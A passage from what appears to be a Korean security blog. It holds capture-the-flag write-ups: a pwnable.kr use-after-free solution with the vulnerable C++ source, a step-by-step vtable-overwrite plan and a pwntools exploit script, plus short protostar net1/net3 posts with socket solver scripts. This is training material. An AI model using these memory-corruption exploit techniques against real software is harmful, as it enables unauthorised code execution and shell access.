                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

여기서 참고! C언어에서는 malloc과 free로 동적할당하지만, C++에서는 new과 delete를 사용한다.

위 코드 분석을 통해 알 수 있는 점은 아래와 같다.


  ⇨ class Human에 선언된 private권한의 give_shell()함수에 접근해, 쉘을 획득할 수 있다.

   Human을 상속받은 man과 woman의 객체를 생성한다.
   case 1은 생성한 객체 m과 w를 통해, introduce()함수를 불러온다.
   case 2는 사용자에게 입력받아온 값을 바탕으로 동적할당한다. ( argv[1] : len / argv[2] : file )
   case 3은 객체 m과 w 메모리를 해제한다.

 

시나리오를 만들어보자면, 아래와 같다.

할당되어 있는 m과 w 메모리를 해제하고, 해제한 메모리와 같은 크기를 할당한다.
이는 같은 크기이기 때문에, m과 w가 가르키고 있는 공간을 할당하게 된다.
새로 할당받은 공간을 악의적인 값으로 변경하고 메모리부분을 실행시키면, 해제했던 메모리를 재사용하게 된다.
이는 uaf취약점이 발생한 것으로, 접근이 불가능한 부분에 접근하여 shell을 획득할 수 있다.

 

시나리오를 바탕으로, 우리는 uaf 취약점을 활용해서 아래 순서대로 문제를 clear 할 수 있다.

① 메뉴 1번을 눌러서, 동적할당한 m과 w가 introduce( )함수의 주소값을 갖게 한다. 
② 메뉴 3번을 눌러서, m과 w 메모리를 해제한다.
③ 메뉴 2번을 눌러서, 위에서 해제했던 메모리와 같은 크기를 동적할당하고, 값은 give_shell주소값으로 바꿔준다.
        ( 0x401570-0x8 = 0x401568 )
④ 메뉴 1번을 눌러서, 2번에서 해제했던 메모리를 재사용함으로써 uaf가 발생하는 취약점이다.

위 순서대로 실행하면, shell을 획득하여 flag를 얻을 수 있다.

 

from pwn import *

argvs=[b"./uaf","4","/tmp/d0bbyG/attack"]
p = ssh(user = b"uaf", host = b"pwnable.kr", password = b"guest", port = 2222)
p1 = p.process(argv=argvs)

def PRINT():
    ans = p1.recvuntil(b"3. free")
    print(ans)

def USE():
    p1.sendline("1")

def AFTER():
    p1.sendline("2") 
    PRINT()

def FREE():
    p1.sendline("3")
    PRINT()

PRINT()
USE()
PRINT()
FREE()
AFTER()
AFTER()
USE()
p1.interactive()

'시스템' 카테고리의 다른 글

peda, pwndbg, gef 같이 쓰기 (펌)  (0) 2025.02.02
Dreamhack UAF (진행 중)  (0) 2025.01.31
protostar net3  (0) 2025.01.31
protostar net1  (0) 2025.01.31
eprotostar heap1  (0) 2025.01.31
블로그 이미지

wtdsoul

,

protostar net3

시스템 2025. 1. 31. 21:48

 

import struct
import socket
import time

def until(s, string):
    data = b''
    while string not in data:
        data += s.recv(1)
    return data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.249.139', 2997))

l = list()
l.append(int(struct.unpack('<I',s.recv(4))[0]))
l.append(int(struct.unpack('<I',s.recv(4))[0]))
l.append(int(struct.unpack('<I',s.recv(4))[0]))
l.append(int(struct.unpack('<I',s.recv(4))[0]))

result = int(sum(l))
print(l)
print('sum : '+str(result))
s.send(struct.pack('<I', result))
print(str(s.recv(1024)))
s.close()
import socket
import struct

s = socket.socket()
s.connect(("192.168.56.101",2997))

sum = 0
for i in range(4):
	data = s.recv(4)
	data = "%d\n" % (struct.unpack('<i', data))
	sum += int(data)

s.send(struct.pack("<I", sum))
print s.recv(1024)
s.close()

'시스템' 카테고리의 다른 글

Dreamhack UAF (진행 중)  (0) 2025.01.31
pwnable.kr UAF (리마인드)  (0) 2025.01.31
protostar net1  (0) 2025.01.31
eprotostar heap1  (0) 2025.01.31
protostar net0  (0) 2025.01.30
블로그 이미지

wtdsoul

,

protostar net1

시스템 2025. 1. 31. 20:48
#include "../common/common.c"
#define NAME "net1"
#define UID  998
#define GID 988
#define PORT 2998

void run()
{
	char buf[12];
	char fub[12];
	char *q;
	
	unsigned int wanted;
	
	wanted = random();
	sprintf(fub, "%d", wanted);
	
	if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted) {
		errx(1, ":(\n)");
	}
	
	if(fgets(buf, sizeof(buf) -1, stdin) == NULL) {
		errx(1, ":( \n");
	}
	
	q = strchr(buf, '\r'); if(q) *q = 0;
	q = strchr(buf, '\n'); if(q) *q = 0;
	
	if(strcp(fub, buf) == 0) {
		printf("you correctly sent the data \n");
		
	} else {
		printf("you didn't send the data properly \n");
	}
}

int main(int argc, char **argv, char envp) 
{
	int fd;
	char *username;
	
	/* Run the process as a daemon */
	background_process(NAME, UID, GID);
	
	/* Wait for socket activity and return */
	fd = serve_forever(PORT);
	
	/* Set the client socket to STDIN, STDOUT and STDERR */
	set_io(fd);
	
	/* Don't do this */
	srandom(time(NULL));
	
	run();
	
}


럔덤한 값을 받고 다시 전달해는 것으로 확인

'시스템' 카테고리의 다른 글

pwnable.kr UAF (리마인드)  (0) 2025.01.31
protostar net3  (0) 2025.01.31
eprotostar heap1  (0) 2025.01.31
protostar net0  (0) 2025.01.30
protostar heap1  (0) 2025.01.30
블로그 이미지

wtdsoul

,